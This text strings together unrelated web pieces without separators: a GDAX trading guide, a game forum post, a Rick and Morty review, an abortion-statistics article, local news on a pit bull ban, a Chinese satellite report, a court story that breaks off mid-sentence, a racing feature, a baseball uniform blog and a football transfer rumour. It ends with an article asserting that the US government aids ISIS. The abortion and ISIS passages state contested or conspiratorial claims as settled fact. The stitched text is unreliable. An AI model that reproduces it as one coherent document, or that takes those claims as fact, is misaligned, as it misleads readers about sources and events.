Using the Advanced option drop down menu allows you further control of order execution. The default status for Limit orders is the Good Until Canceled option. This means that the order will remain in the system until trading price matches and the order is filled. Traders can also choose to leave the order in for a specified time. The current options are for orders to remain active for one minute, one hour or 24 hours after entry. Immediate or Cancel option will execute if there are current corresponding orders at your specified price. These can be filled with partial orders by matching more than one order to your price. The Fill or Kill option can be used to force your order to immediately match up to an opposite order of exactly the same number or coins or expire if no matching orders exist. It will not execute via partial fills. These types of orders are only useful when placed near the current trading price. It would do no good to enter a Fill or Kill Buy order for BTC at $7 unless someone has accidentally entered an exact opposite trade to sell at $7.
The Post Only option can save you a little more. When Market Buy orders are entered, the buyer is considered to be the order Taker, and GDAX Taker fee schedule applies. This fee varies from 0.1-0.3% depending on coin and your daily trading volume. Here is their fee schedule page. Limit Buy orders, on the other hand, result in the buyer being the market Maker. If the Post Only selection is chosen, you can avoid being charged the Taker fee.
You can read more on GDAX order options in our companion article Entering GDAX Orders and Trades.
GDAX Order Book
While navigating around the trading page, you may have also noticed the Order Book, a rapidly changing list of numbers in center of screen. Those are actual orders that have been placed by buyers and sellers. The red section shows active Sell orders. In our first video, the first column indicates how many litecoins are being sold and column 2 indicates the price specified for that sale. Note the Sell order closest to the underlying buy price is rapidly changing as portions of the order are filled. The Buy orders are shown as green. Note the large Buy order closest to the current trading price begins dropping in priority as new orders come in to Buy at a slightly higher price. The order books are always rapidly changing. This information is more important for arbitrage and day traders in my opinion. I use the order book to get an idea of where to price my entry if I’m interested in buying relatively quickly. I typically enter an order just lower than current price to save a little more compared to a Market order.
Charts and Walls on GDAX
If you follow any cryptocurrency traders on YouTube or social media, it is impossible to miss their emphasis on charts. This article will not delve into Technical Analysis; the topic is beyond the scope of any beginner’s article. But it is important to at least familiarize yourself with the charting options on the trading page. There are 2 major charting tools available here: the Price chart and the Depth chart.
Let’s start with the Price chart. Be sure to navigate and select Price chart near the top right of the page. You can then move directly to the left and choose either a line chart or a candle chart and also set the timeframe for that chart. This quick video cycles through some of the options for Price charts. The bar graph at the bottom indicates trading volume at each price on graph directly above. You can highlight any portion of the chart to get more information about that specific point. When you select a portion of the chart, data from that is transferred to the trade order entry boxes on the left. Make sure you clear this before placing a trade unless you want the trade to execute at that price.
Depth charts indicate the level of Buy versus Sell orders. Traders often talk about Buy and Sell “walls.” In essence, those are large orders placed at set price level which then display on the depth chart as a large vertical line, or wall, at a certain price. In order for prices to move up or down, these walls of orders must first be filled or get canceled. When watching charts, a large wall may help you determine where to place your Limit order price.
Placing Buy orders slightly higher than a wall or Sell price slightly lower probably means your trade will execute before the wall orders execute. Some price walls are possibly fake though, and this is one way some traders believe investors with large positions can push prices in a desired direction. This is hard to confirm, but it is certainly not out of the realm of possibility.
Trading on GDAX via the Mobile Interface
GDAX is not available via a downloaded app. However, if you navigate to their page in your phone’s browser, you will get a relatively elegant mobile interface. The following video demonstrates order entry similar to the description above for the web interface. Orientation of the phone changes the display features. I prefer the portrait (vertical) look and feel. Experiment with landscape mode if you wish. Again, tab around the options to get familiar with everything before placing your first trade. Be sure to follow the earlier paragraphs describing order entry in more detail.
Now You’re Ready to Trade on GDAX
Hopefully you are now able to place Buy and Sell orders on GDAX to take advantage of very low fee structure relative to Coinbase. I’ve shown you how to place basic trades at Market Price for immediate low cost buying or selling. Placing Limit Orders allows you to take advantage of price swings for even greater savings but at the risk of not having the order fill. Once you become familiar with all of these trading options, be sure to check back here for more advanced articles to follow. I’ll leave the reader with one last caution: Always triple check the order entry options before hitting the Place Order button. Make sure you’ve set the price and amount you wish to buy or sell. Make sure you don’t transpose the number of coins and trade price. You could end up with a very expensive mistake. Take your time, enter small orders first and proceed gradually. Happy investing.
If you enjoyed this article, please consider registering for a f ree Forums account here and let us know by posting in the Exchange/GDAX threadMorshuArtsInc said: ↑ *returns* Wait, that would actually be a nice gameplay mechanic. Like, you know. Fire. And/or magic. But not the flashy wand swinging Harry Potter like magic. I'm talking about witchcraft. Ritual circles. Poppets. Effigies. Curses. Things that people actually tried to perform magic with. But maybe only during the Halloween season. Some "find the witch" game mode on servers. Click to expand...
Fire I want to see too, as I scetched out in one of the previous update comment threads. Plus water. But please noooooo fantasy elements. I simply go crazy when I see turn up elves, gromlins, zombies, orcs or what else the usual suspects are (very common in other games dealing with pseudo-middle ages, so much, that people cannot picture the era without them) here in this sphere.(Burning mages is authentic period folklore and does not count as 'fantasy')Go Watch Rick and Morty please
miji Blocked Unblock Follow Following Jun 13, 2015
Much has been said about the subversive brilliance of Adult Swim, or to be more specific, the studio Williams street. Being the secret cultural backbone of alternative comedy, most of their work has some specific baggage attributed to it. Whether it be a non sequitur pace or bizarre artistic choices, Adult Swim offerings require the audience to on some level be effectually “on-board” with the dealings, a facet which has made Adult Swim on a superficial level to be perceived and stoner shlock for college age morons looking to get their fix of idiot comedy. Which is specifically unfair and egregiously ironic because these shows tend to be dense with clever parody and satire and sometimes rich internal mythologies.
Perhaps Rick and Morty’s greatest asset and sorest failure is that it requires the least from it’s audience than any Adult Swim show, which leads in the awkward position of being on too late for a mainstream audience but seeming too polished and vanilla for the regular Adult Swim contingency. That being said, Rick and Morty proves to be consistently hilarious, thrilling, and oft times thoughtful and insightful. It can be somewhat exacted to other 30 minute programs like Louie, they transcend the blanket term “comedy” to be just that, a great tv show. The ability of the writers to be so consistently profoundly creative is simply outstanding and co creator Dan Roiland really finds obscenely wide range and depth in his voice portrayal of the two titular characters.
Unfortunately this is more baseless and vague gushing than real analysis but to be frank I still believe this show to be criminally under watched even with the well deserved surging of mainstream viewership earned after the reveal of their couch gag for the Simpsons. And I don't really want to spoil the transcendent bits and believe me there are quite a few.
Cough
That being said I will in the future write on this, maybe ill wait till season 2 is over as a natural cut-off point for spoilers.
i dont give a fuuuuck is my new catchphrase
hi im shillingNewsAbortion
CHARLOTTE, North Carolina, August 1, 2016 (LifeSiteNews) — Abortion is the leading cause of death in African-American and Hispanic populations, but scientists fail to report it as such, according to a new study in the Open Journal of Preventive Medicine.
James Studnicki, Sharon J. MacKinnon, and John W. Fisher at the University of North Carolina at Charlotte conducted the study, titled Induced Abortion, Mortality, and the Conduct of Science. They found that although there is no credible scientific evidence refuting the fact that a new human being begins to exist at conception and continues to exist throughout pregnancy, abortion “is not reported as a cause of death in the U.S. vital statistics system.”
“Mortality patterns have profound implications for public policy,” the study explained. “As a cause of death, we found abortion to be highly consequential, with large racial and ethnic disparities.”
The study found that roughly two-thirds of deaths in the black and Hispanic communities were caused by abortion: abortion caused 61.1 percent of non-Hispanic black deaths and 64.0 percent of Hispanic deaths in 2009. Only 16.4 percent of non-Hispanic white deaths were caused by abortion.
Public health statistics typically list diseases of the heart as the most common cause of death across racial groups. In 2009 — the year the Induced Abortion, Mortality, and the Conduct of Science studied — U.S. public health statistics reported diseases of the heart as the top cause of death in non-Hispanic whites, Hispanics, and non-Hispanic blacks.
For all racial and ethnic origins, in 2009, there were 3,589,163 deaths including babies killed by abortion — and the leading cause of death for Hispanics and non-Hispanic blacks was abortion, the researchers reported.
“For Hispanics and [non-Hispanic] blacks, deaths from abortions are 4.2 and 3.5 times, respectively, the number of deaths from diseases of the heart and malignant neoplasms combined,” the study found. “Homicide was ranked in the top 10 causes of death for Hispanics and [non-Hispanic blacks], but abortion deaths were 79.3 and 57.5 times, respectively, the number of homicides. Suicide was ranked in the top 10 causes for [non-Hispanic whites], but abortion deaths were 12.4 times the number of suicides.”
During that year, there were 5.8 live births for every one abortion in the non-Hispanic white population, 3.9 live births for every one abortion in the Hispanic population, and 1.4 live births for every one abortion in the non-Hispanic black population.
“The most logical and cost-effective way” to create and maintain a “robust abortion reporting system” in order to address abortion as a public health problem would be “to formally consider abortion as a reportable death,” the researchers wrote.
“The exclusion of a major cause of death from the vital statistics system, especially one with large racial and ethnic disparities, should be a major concern to the scientific community and society as a whole,” the report cautioned, particularly because previous research suggests that less attention is paid to causes of death that disproportionately affect racial and ethnic minorities.
The pro-life movement has long warned that the abortion industry targets minorities. Margaret Sanger, the founder of Planned Parenthood, openly embraced eugenics and even spoke at a Ku Klux Klan gathering. She wrote that certain people are “human weeds” who should never have been born and that birth control should be used to weed out the “unfit.”
“We do not want word to go out that we want to exterminate the Negro population,” she wrote in 1939.
In 2008, the pro-life group Live Action exposed Planned Parenthood’s willingness to accept racist donations used specifically to abort minority babies.
Today, a majority of abortion facilities are located within or close to minority neighborhoods.
Science should inform “societal dialogue” about abortion “with objective information,” and labeling abortion as a cause of death is “not an argument for restricting access to a legal abortion,” the researchers wrote.
“The exclusion of abortion as a cause of death, in spite of conclusive science to contrary, and the relative paucity of information and funded research on a topic of demonstrated consequence to the demographic composition of the society, may be the ultimate example of science denial,” they wrote. “Refusing to acknowledge abortion as a death undermines the role of science and the value of transparency so fundamental to a free society.”Springfield city council members are getting threats over the ban on pit bulls passed this week. And now city officials are speaking out, taking those threats seriously and not standing for what they are calling abuse by pro-pit bull people.
City leaders say council members are being bullied by many who support pit bull ownership. They're taking a firm stance against some inappropriate comments online.
Tensions are high emotions are ramped.
"In my nine years of city manager, I’ve never seen the kind of backlash we’ve seen to this issue," said Springfield City Manager Greg Burris.
Many pit bull supporters have singed out council members who voted for the ban on any new pit bulls. They are name calling, leaving nasty messages and calling for boycotts at businesses owned by council members.
"They can still be heard, express your concerns, but do so without concerns or attacking them, said Burris. "They are volunteering their time to set policies."
City officials are not the only ones upset. Two ladies started pro pit bull groups in Springfield. They say these comments are actually doing more harm than good.
"Going and acting out against businesses like that, that’s what we don’t want," said one pit bull owner. "That’s how they are going to label people that are pit bull lovers is those crazy pitbull people thath’s not what we are going for
They and city leaders are speaking out against the people making these inappropriate comments, saying it needs to stop.
"I'm embarrassed for our community," said Burris. "I hate to say that but I think we can do better than that. It's getting out of hand yeah def. getting out of hand."
City leaders say many pit bull supporters are organizing petitions to overturn the ban on new ownership. Current dogs must be registered.China's first dark-matter detection satellite has completed three months of in-orbit testing, with initial findings expected to appear before the end of the year, according to the Chinese Academy of Sciences (CAS). The Dark Matter Particle Explorer (DAMPE) Satellite "Wukong" detected 460 million high energy particles in a 92-day flight, sending about 2.4 TB of raw data back to Earth, DAMPE chief scientist Chang Jin said.
Launched on Dec. 17, 2015 on a Long March 2-D rocket, "Wukong" was handed over to the CAS Purple Mountain Observatory on Thursday.
The four major parts of the payload - a plastic scintillator array detector, a silicon array detector, a BGO calorimeter, and a neutron detector - functioned satisfactorily. The satellite completed all set tests, with all its technical indicators reaching or exceeding expectations.
"Wukong" is designed for a three-year mission. It will scan space nonstop in all directions in the first two years and then focus on areas where dark matter is most likely to be observed in the third.
The CAS on Thursday released a report on the future of space science promising "major progress and breakthroughs" by 2030 in research into the formation and evolution of the universe and the search for extraterrestrial life.
It will also strive to find new physical laws that supplant current basic theories.
The goals will be achieved by manned and unmanned programs, including a black hole probe, a Mars probe and extraterrestrial life exploration.
Chinese lawmakers on Wednesday approved the country's economic and social development blueprint for the 2016-2020 period, including research on the origins of the universe and life.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A driver who mowed down a multiple sclerosis sufferer - breaking her back - during a row over a minor traffic shunt has walked free from court.
Lesley Poole, 38, bumped into the back of Mandy Cordingley’s Motability Citroen car at a set of traffic lights.
But as Miss Cordingley, 53, rang police, Poole, flew into a rage and began shouting ‘it’s people like you who put in false claims.’
Then as Miss Cordingley, a healthcare assistant, tried to get the other driver’s details, Poole, from Blackley, revved the engine of her Vauxhall Corsa and drove into the victim causing her to briefly cling on the bonnet. She then swerved towards Miss Cordingley for a second time before driving away.
At Manchester Crown Court, Poole, a former rail worker and mother of two was given a 15-month suspended jail term and a three-year driving ban - after she sobbed in court and claimed she had ’genuine remorse.’
She had denied wrongdoing but was found guilty after a trial at Manchester Magistrates' Court of causing serious injury by dangerous driving.
In a 999 call made to police by a witness, Miss Cordingley, also a mother of two was heard shouting: “She’s trying to run me over in the middle of the road. She’s actually trying to run me over. She’s going to try and run me over again but I’m not moving. She’s just hit my bloody arm now, my arm is killing me.
“She drove the car and purposely hit me, she did it about five times and on the sixth she hit me. I was trying to stop her on the road.”
She was taken to North Manchester General Hospital complaining of pain to the neck, lower back and left hip and some numbness to her right forearm. X-rays and CT scans were carried out and she was found to have |
atos jump, and I gave myself a similar pep talk. “The car will be good. You’ve done this before, you know what you need to do. Build up to speed. Concentrate. Focus on your driving, ignore the lap times.” As Scott brings the car into the pit lane, I wait atop the pit wall, seat insert in hand (I’m short and need a booster seat). Only four people are allowed over the wall if the car's gas cap is open; the fueler, someone wielding a fire extinguisher, the driver, and one other person who can help, strapping in—or pulling out—the driver.
World Racing League The The WRL is the latest venue for grassroots endurance racing, evolving from ChumpCar and the 24 Hours of Lemons. Instead of limiting competitors to much older, much cheaper cars—something that has given those other series a reputation for being a demolition derby for old bangers no one cares about—WRL features a number of different classes based on power-to-weight ratios, and it maintains a strict no-contact policy, something that is helping to attract owners of more expensive race cars that have competed in more established (and more expensive) series run by organizations like SCCA or NASA.
Getting situated in the car happened smoothly. I tightened the straps as a helping hand plugged in my radio jack and the dry-break connector that joins my cool shirt to its chilled reservoir. The cool shirt is a wonderful thing. Worn underneath that heavy nomex, it's a t-shirt crisscrossed with surgical tubing. Cold water is pumped from an insulated tank through the tubes and across your torso, at a rate determined by a knob on the dash. On hot summer days it comes into its own, removing 'it's hot' from the (very long) list of things drivers want to complain about over the radio.
Data acquisition
A small screen sat in front of the GTI's dashboard, blocking the original dials. Part of our TraqMate data acquisition system, it takes over the job of relaying important information to the driver. A finger poked at it, switching from Scott's driver profile to mine. Data acquisition systems like TraqMate or Race Capture Pro pull data from built-in accelerometers, the car’s on-board sensors, and GPS, allowing a remarkably detailed look at what the monkey behind the wheel is doing on track. Not that long ago they were the preserve of well-funded professional teams, but electronics keep getting ever smaller and cheaper, even rugged. The same trend is responsible for the rise of the fitness tracker, and it now makes that sort of data acquisition possible for the monkey as well as the car.
There's an assumption about motorsport, that racing drivers aren’t athletes. Driving doesn’t involve running to and fro, therefore we are to infer it’s physically undemanding. And since no one really breaks a sweat on their commute to work in the morning, racing a car must be easy. This ignores the reality. Professional racers, for whom this is not just a passion but also a career, work as much on fitness as any starting line up in the NBA or MLB. As someone who simply races for a hobby, I’d been curious about quantifying my physical workload in the car.
That explained the Basis band strapped to my wrist, now under layers of nomex. We've reviewed the fitness track previously. Briefly, it measures steps, physical exertion, and sleep as well as your heart rate, skin temperature, and skin conductivity. It wasn’t entirely clear how interesting the data of a middle-aged, not-especially fit writer would be on its own, but I haven’t been the only racer capturing biometric data with a Basis. Enter NASCAR star Kurt Busch. Normally found racing big, heavy, 900 hp stock cars in the Sprint Cup, this year he planned to push his own limits, competing in both the Indy 500 and the Coca-Cola 600, a pair of long-distance oval races that both take place on Memorial Day.
Busch is no stranger to Charlotte, having won there in the past. Indy, however, was a different kettle of fish. The cars are much lighter, much less powerful, but capable of even higher speeds when trimmed out for the Indianapolis Motor Speedway, where they can catch out seasoned regulars, never mind someone with little open-wheel experience. The tracks are almost a thousand miles apart, and the timing of practice and qualifying sessions requires plenty of shuttling back and forth between North Carolina and Indiana. Doing the double, as it’s known, therefore doesn't happen very often—the last time was Tony Stewart in 2001, who had the advantage of having spent several years racing open wheel cars before moving to NASCAR.
I spoke with Busch the day after his races, asking how he’d altered his training regimen in preparation for doing both races in a single day. "[By] working harder on everything, drawing more energy from my core strength, such as lower back, mid section, obliques, abs, because my body would be going through more g-forces all day long. Upper body strength is important, flexibility is important for hydration, so I just ramped it up in all areas" he said. "I’d run to the gym, run back from the gym, keeping my heart rate elevated above 140, staying engaged in the workout to stress my body to levels that would be comparable to a day of 1,100 miles."
Busch has done several long endurance races before, competing at the 24 Hours of Daytona more than once. I asked whether running the double was comparable? "All of my senses were on high, sight, sound, smell. My mouth was dry from being in the open cockpit, maybe because I was smiling the whole time" he said. "Running Daytona is a unique feeling when someone knocks on your door at 3am and tells you you’ve got an hour to get ready and get back in the car. Those are those moments where it’s fun, it’s exciting. You strap your helmet on and you run at a pace that you’re comfortable with, but you don’t put it at that 100 percent level like I had to the last hour at the end of the Indy car race."
I was curious how the Basis band was helping his preparation. NASCAR, unlike most other professional forms of motorsport, bans in-car telemetry during races, so Busch was actually more wired up than his normal office during the Charlotte race. "The band is a very interactive way to feel your workouts and to challenge yourself to do better. It’s your own drill sergeant and scheduler. It’s a good lap tracker, in a sense. It’s unique to see the differences it sees in the race car. At Bristol [a very rough track], it vibrates your hands through the steering wheel, and it thought I was on a bike, pedaling. It’s really unique. Everyone wants numbers, graphs, spreadsheets. it’s very accurate, and it’s been fun to have it along for the ride."
Unlike Busch, my career hasn’t required me to be in peak physical condition, and it’s fair to say that I could stand to be in much better shape. I hadn’t seen the inside of a gym since moving to DC five years ago, although I do walk up to five miles a day (so I’m not completely sedentary). Pre-race training in the past had involved lots of Forza with weights attached to my wrists, but this year even that wasn’t really possible—preparing for the Cars Technica launch left little time for gaming (or much else) in the weeks leading up to the race. In the immortal words of Detective Jake Peralta, "Eyes closed, head first, can’t lose!"
Fueling done, the team gave me the signal. I pulled away, trying and finding the muscle memory that recorded the bite point of the clutch. The first few laps reacquainted me with the track, and our race car, a 1991 Golf GTI. The original 1.8L engine has been swapped with the 2L motor from the Mk 3 GTI. A shorter-ratio VW gearbox and limited-slip differential, uprated front struts, and cryogenically treated brake discs complete the picture. Stripped of its interior, insulation, and sound deadening, the car’s cabin is dominated by a rally-spec roll cage, significantly stiffening the 23-year old bodyshell. Flat-out speed isn’t the Golf’s strongest asset, topping out near 120 mph on the longest straights, but it has great balance and can carry a lot of speed through corners, particularly now with the limited slip differential.
Under v. Oversteer Understeer: when you try to corner too fast, and you go off into the undergrowth facing forward. This happens because the front tires have run out of lateral grip, resulting in a path with a greater radius than the driver intended. This is also called 'push' in the NASCAR community. Understeer is usually ameliorated by lifting the throttle, which will shift the weight balance forward (increasing front grip by pushing the wheels down onto the track more) as well as slowing the car (reducing the amount of grip needed to go forward increases the amount of grip available for cornering). As a result, most road cars are engineered to understeer at the limit. : when you try to corner too fast, and you go off into the undergrowth facing forward. This happens because the front tires have run out of lateral grip, resulting in a path with a greater radius than the driver intended. This is also called 'push' in the NASCAR community. Understeer is usually ameliorated by lifting the throttle, which will shift the weight balance forward (increasing front grip by pushing the wheels down onto the track more) as well as slowing the car (reducing the amount of grip needed to go forward increases the amount of grip available for cornering). As a result, most road cars are engineered to understeer at the limit. Oversteer: when you try to corner too fast, and you go off into the undergrowth facing backward. In this case, the rear tires have run out of lateral grip, and the car will follow a path with a smaller radius than intended. This is also known as a car being 'loose' in NASCAR circles. Oversteer can be dealt with by steering into the spin—also known as counter-steering, opposite lock, or 'a dab of oppo.' Controlled oversteer can be extremely fun, and an entire sport, called Drifting, has developed around perfecting the art.
Brainerd is not my all-time favorite track to drive; it's very flat, which means no elevation change or tricky camber, both ingredients common to almost every great race track (or driving road). What’s more, the last time I raced here I experienced a suspension failure going into turn two that saw the driver’s side rear wheel part company with the car. That said, I like the CanAm history, and I do like the sequence of corners from the Clover Leaf (turn eight) all the way to the braking zone for turn 12.
These laps were my first with the new gearbox, since it hadn’t been fitted the last time I drove the GTI in 2012. The shorter gear ratios were just sufficient to leave the car in third for most of the lap, from turn 3 until accelerating out of the Clover Leaf. With good feel and feedback through the unassisted steering, it was a fun car to drive quickly. Maintaining momentum is crucial in a car without much power, so the limited slip differential was a welcome addition, allowing me to get on the power earlier in the corner, using the throttle as well as the steering to adjust my line.
The track conditions were extremely wet. This was bad news for the drag racers, who were also racing at Brainerd that weekend, but not so for us. I like driving in the wet. The reduced grip available to the tires on a wet track surface means the car’s handling limit is much more accessible and occurs at lower speeds. What’s more, nose-heavy, FWD cars like the Golf have a natural advantage in such conditions—more weight over the nose means more weight pushing the driven wheels down onto the road. Oversteer, if it happens, usually happens under braking as the weight transfer shifts too far forward, but a healthy application of throttle straightens that out.
If the Golf had a bad habit in the past, that would have been a tendency to oversteer under heavy braking—as the weight transferred forward, the rear brakes would lock up, and the car would try to swap ends. Changing the type of brake pads at the rear solved this issue. The low-grip environment I currently found myself in wasn’t particularly conducive to heavy braking anyway; too sharp a stab on the pedals easily locked the front wheels, and I almost went off into the gravel trap in turn 12 discovering this for the first time.
Traffic was light with fewer than 30 cars on track. Two or even three laps could pass before I encountered another car, but I had several enjoyable battles on track. Overtaking another car requires a lot more planning than video games may have you expect. You don’t want to make contact, and the best overtaking spot might be off limits because of a yellow flag (yellow flags are shown when there’s an incident on that part of the track, and drivers have to reduce their speed, and overtaking is forbidden). That temptation to dive bomb at the very first opportunity must be avoided, particularly in an endurance race. When it's very wet, often a corner through which there's normally only a single line now has more than one solution. The rubber that builds up on the racing line in the dry can compromise grip in the wet, and conversely the dust, tire marbles, and other stuff that accumulates off-line becomes the place to find traction when it's raining.
The volume on the radio hadn’t been turned high enough, and communications from the pit were garbled beyond the point of comprehension. I was OK with that; better to be left alone to concentrate on the task at hand than be pestered about lap times or whatever. The rain came and went in squalls, and the ever-changing track conditions made worrying about absolute pace seem meaningless. That said, I did start to notice my lap times coming down, thanks to the info being displayed by the TraqMate. It continually compares your current lap with a reference lap—for example, the fastest time it records during a session—and displays that as a time delta (i.e. +X.X seconds or -X.X seconds depending on whether the current lap is going to be slower or faster). It's very familiar if you've ever played a racing game, and it's immensely helpful to the monkey behind the wheel, particularly the bar graphs either side of the delta: a red bar growing to the left for a slow lap, a green bar that grows to the right for a quicker one.
Listing image by Alex BellusA Uni Watch Look at Last Night’s World Series Opener
Screen shot by BSmile; click to enlarge
Dodgers pitcher Clayton Kershaw is apparently a superstitious fella. As you can see above, he was wearing an old, sweat- and rosin-stained cap for last night’s World Series opener. They presumably just slapped the Series logo patch on his preferred piece of headwear.
The same thing happened in 1996, which was the first year that a Series logo was added to the players’ caps. The Yankees’ closer that year was John Wetteland (Mariano Rivera was the setup man and didn’t ascend to the closer’s role until the following season), who had superstitiously worn the same cap all season long. So while everyone else got a new cap, Wetteland just wore the same one he’d been wearing, complete with sweat stains:
Incidentally, while I was looking for a good shot of Wetteland’s cap, I came across this shot of the Yankees celebrating after winning Game Five of the ’96 Series. Check out the pants and stirrups:
Embed from Getty Images
Man, that was a sad period, eh? The full-blown pajama era would soon follow.
Anyway, getting back to this year’s Fall Classic, last night’s opener was pretty uni-uneventful, but here are a few tidbits:
• The big, honking World Series sleeve patches looked brutal:
Embed from Getty Images
Embed from Getty Images
Also, as Alex noted in yesterday’s Ticker, it’s odd that the large sleeve patch has just “WS,” while the smaller cap patch has “World Series.” Seems like it should be the other way around. (By coincidence, the last time the Astros were in the World Series was in 2005, when the sleeve patches also featured the “WS” abbreviation.)
• As you can see in that last photo, a Getty photographer caught Dodgers third baseman Justin Turner with his tongue sticking out. Other Dodgers with their tongues on display last night included Kershaw and outfielder Yasiel Puig. Puig, of course, leads the league in tongue exposure. He even had an extended tongue shaved into his head and wore “Tongues Out” cleats.
• As you might have heard, it was a wee bit balmy at the ballpark — officially 103º at gametime. The Dodger Stadium scoreboard, which usually shows the temperature, wasn’t equipped to show the third digit, so it just had “10” (click to enlarge):
• The Dodger Stadium grounds crew was wearing advertising patches:
Dodgers grounds crew has ad patches on caps & shirts @UniWatch @PhilHecken pic.twitter.com/Z8lklGujqM — Tom Denne (@tomteavee) October 25, 2017
• Somewhat incredibly, the game was played in only two hours and 28 minutes, making it the fastest Series game since Game Four in 1992. (Here’s a log of all the Series games that took 2:30 or less, from the most recent to the most distant.)
Meanwhile, in case you missed it yesterday, here’s my annual Uni Watch World Series Preview, with 10 uni-related storylines to watch for as the Series unfolds.
(Big thanks to the always-awesome BSmile for the Kershaw screen shot, and thanks also to Steve Richards, @ptakers, @theTeej_13, and @BillShaikin for their contributions.)
• • • • •
Naming Wrongs update: I’m happy to announce that we have a bunch of new Naming Wrongs designs, for the following buildings:
Hoosier Dome: Colts fans were asking for this one. It’s available in blue and grey (for all photos, you can click to enlarge):
L.A. Forum: Now that the NBA season has started, we were getting lots of requests for this one. Works for the Kings as well as the Lakers. It’s available in purple and gold:
Salt Palace: Another one for NBA fans. This one’s available in green and purple:
RFK redux: We had previously done RFK shirts in ’Skins colors. But now that the MLS season is over and DC United is moving from RFK to a new corporate-named stadium, lots of DCU fans were asking for their own RFK shirts. We’re doing them in red, black with white lettering, and black with red lettering:
All of these designs are now available in the Naming Wrongs shop. They’re also cross-listed in the Uni Watch shop, where card-carrying members can get 15% off. (If you’re a member and need the discount code, send me a note and I’ll hook you up.) My thanks, as always, for your consideration.
• • • • •
XFL contest reminder: In case you missed it on Saturday, Phil announced our latest jersey design contest, this time to reimagine a team from the XFL if the league were still operational today.
The deadline is Oct. 31. Full details here.
• • • • •
The Ticker
By Alex Hider
Baseball News : The Triple-A Charlotte Knights will honor the 20th anniversary of their affiliation with the White Sox next season by wearing unis inspired by the ’80s-era Sox (from Ty Ferrin). … Braves utility man Micah Johnson made a really cool Jackie Robinson mural out of colored baseballs (from Michael Rich).
NFL News : The Ravens will be going mono-purple on Thursday night (from Andrew Cosentino). … The NFL’s Instagram account apparently still thinks the Chargers play in San Diego (from Joey Rogers). … The Wall Street Journal has published a piece on the evolving off-field fashion of NFL players. … Saints OL Ryan Ramczyk is from Wisconsin and grew up a Packers fan. When the Saints played in Green Bay last weekend, Ramczyk’s father wore a Saints/Packers frankenjersey to the game (from Daron Jones). … This ESPN piece speculating about where Kirk Cousins will play next year features Photoshopped pics of Cousins in other teams’ uniforms (from Brian Spiess). … Here’s a treasure trove of 1970s NFL apparel (from David Cline). … Found at a flea market: these Jaguars wristbands with the old “phantom logo” (from @MEbelMath).
College Football News : Southern Mississippi will be wearing “blackout” helmets with a black eagle’s head decal this weekend. … Marshall will wear military appreciation helmets this Saturday (from Phil). … Boston College will once again wear bandana-pattern stripes in honor of Welles Crowther, a 9/11 victim who saved dozens of lives. More on that in this story from last season (from ACC Tracker). … Here are even more photos of the mono-gray uni Ohio State will wear on Saturday (from Phil). … Speaking of which, OSU players say they like the new grey design, although several of them say they prefer the 2015 BFBS set (from Jason Hillyer). … It’s easy to forget how much advertising we’re bombarded with at any given moment during a college football report (from Chris).
Hockey News : The Golden Knights will wear white at home on Friday (from @SJankowski11). … A Maple Leafs blog held a discussion about the best and worst unis in the NHL (from Phil). … A Predators fan painted his pumpkin like G Pekka Rinne — but painted him in the team’s old road jersey. … The Vintage Sports Images feed on Twitter is celebrating Halloween by running a daily series of creepy goalie mask photos, beginning with this early-’60s shot of Terry Sawchuk. … Sean Huffman’s niece had to decorate a pumpkin for school and put a Capitals goalie mask over the pumpkin.
Basketball News : The Magic will wear a memorial band this season for the team owner’s wife, Helen DeVos, who died last week. … The Celtics have been wearing a patch on their warmup tops honoring the 10th anniversary of their last NBA title (from Mike Sullivan). … Bulls rookie Lauri Markkanen asked former Bulls player Brian Scalabrine if it would be okay to wear Scalabrine’s No. 24 (from Mike Chamernik). … College of Charleston teased their new uniforms on Twitter yesterday (from Will Chitty). … New uniforms for Youngstown State (from Robert Hayes).
Soccer News : Lazio FC, a team in the top Italian soccer league, Serie A, will wear shirts bearing Anne Frank’s face before their match tomorrow in an attempt to fight anti-Semitism among supporters. … Michael Rich checks in with the following story: “I recently attended a Colorado Rapids (MLS) game. I noticed when the road team, FC Dallas, got a yellow card, it was up on the video boards as a ‘Toyota Yellow Card,’ of course adorned with Toyota logos. When the home team got a yellow card, it was simply a ‘Yellow Card.’ I’ve never seen an advertiser for something specific to only one team, but I guess Toyota don’t want their ‘good name’ associated with something going poorly for the home team.”News
Sissoko Pulled Out Of PSG Match Due To Newcastle Talks
It is now reported that Moussa Sissoko has been pulled out of the Toulouse squad to face Paris Saint-Germain on Wednesday night because the midfielder is in advanced talks with Newcastle United.
BeinSport are also reporting that Sissoko turned down Marseille in favour of a move to Tyneside.
Moussa Sissoko says no to OM and yes to Newcastle
Coveted by Olympique de Marseille, Moussa Sissoko finally wants to pursue his career at Newcastle. According to information beINsport state an agreement in principle has been reached between the French and English club. It now remains for TFC (Toulouse Football Club) to agree with the English club for the transfer fee.
The 6ft 1 midfielder is twenty three and has scored 20 goals in 164 appearances for Toulouse, plus he is a French international.
Make sure of your copy of the essential read for Newcastle fans, copies of the latest issue still available.
You can buy a single issue (only £3) or a subscription (from £23) in our online shop and get it delivered through your letter box wherever you live in the World. You can also buy it from your local newsagents (on sale at over 450 different ones) if you live in the north east.
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A local militia recently uncovered ISIS documents near Mosul that instructing jihadists not to attack US coalition aircraft in Mosul or the surrounding area.
During US election season, WikiLeaks confirmed what many already suspected, that the US government, or at least certain members of it, were implicitly aiding ISIS with some politicians even accepting millions from the very same governments who fund the notorious jihadist group. Despite this, Mosul, an ISIS stronghold in Iraq, has been the target of a much-publicized US-Iraqi joint military campaign to liberate the city from ISIS control. Yet prior to the campaign’s launch, the US, along with ISIS-funding Saudi Arabia, allowed over 9,000 ISIS fighters safe passage from Mosul to Syria. This move suggested that the US sees ISIS as a means to an end, shuffling fighters away from Iraq – where the US can then declare “victory” over ISIS in the area – while moving thousands of jihadists to Syria to support the US’ overarching goal of regime change in that country.
Recent developments suggest that the cooperation between ISIS and the US government goes both ways. Just days ago, the Nineveh Plain Protection Unit, a local Assyrian Christian militia, made an interesting discovery in the recently-liberated Iraqi city of Bakhdida, 19 miles (32 km) from the city of Mosul. The militia acquired documents from a so-called ISIS “mobilization center,” which ISIS sets up in cities they control in order to mobilize the local population and train new recruits. One of the documents found there explicitly tells ISIS fighters not to attack any coalition aircraft. The document itself reads: “It is strictly forbidden to shoot down, using any weapons whatsoever, any aircraft that is in the air, no matter what height they are flying at, even if the aircraft lands on the rooftop of houses.” The decree was signed by local ISIS leader Abu Muawia.
